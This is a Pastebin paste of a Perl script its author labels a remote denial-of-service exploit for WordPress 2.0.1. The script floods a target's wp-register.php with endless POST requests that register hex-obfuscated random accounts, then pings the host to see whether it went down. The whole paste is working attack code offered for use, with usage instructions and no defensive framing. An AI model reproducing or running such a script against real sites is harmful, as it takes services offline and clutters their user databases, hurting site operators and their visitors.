xanybarz

wordpress exploit

Mar 20th, 2016
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.59 KB | None | 0 0
  1. #!perl
  2.  
  3. use Socket;
  4. if (@ARGV < 2) { &usage; }
  5. $rand=rand(10);
  6. $host = $ARGV[0];
  7. $dir = $ARGV[1];
  8. $host =~ s/(http:\/\/)//eg; #no http://
  9. for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999; $i++) #0_o :)
  10. {
  11. $user="\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x66\x6f\x6f".$rand.$i; #you N33d t0 be l33t t0 s33 th!S !
  12. $data = "action=register&user_login=$user&user_email=$user\@matrix.org&submit=Register+%C2%BB";
  13. $len = length $data;
  14. $foo = "POST ".$dir."wp-register.php HTTP/1.1\r\n".
  15.                "Accept: */*\r\n".
  16.                "Accept-Language: en-gb\r\n".
  17.                "Content-Type: application/x-www-form-urlencoded\r\n".
  18.                "Accept-Encoding: gzip, deflate\r\n".
  19.                "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
  20.                "Host: $host\r\n".
  21.                "Content-Length: $len\r\n".
  22.                "Connection: Keep-Alive\r\n".
  23.                "Cache-Control: no-cache\r\n\r\n".
  24.  "$data";
  25.      my $port = "80";
  26.      my $proto = getprotobyname('tcp');
  27.      socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
  28.      connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
  29.      send(SOCKET,"$foo", 0);
  30.      syswrite STDOUT, "+";
  31. }
  32. #s33 if the server is down
  33. print "\n\n";
  34. system('ping $host');
  35. sub usage {
  36. print "\n\t(W)ordpress 2.0.1 (R)emote (D)oS (E)xploit (B)y matrix_killer\n";
  37. print "\te-mail: matrix_k\@abv.bg\n";
  38. print "\tusage: \n";
  39. print "\t$0 <host> </dir/>\n";
  40. print "\tex: $0 127.0.0.1 /wordpress/\n";
  41. print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n";
  42. exit();
  43. };
Advertisement
Add Comment
Please, Sign In to add comment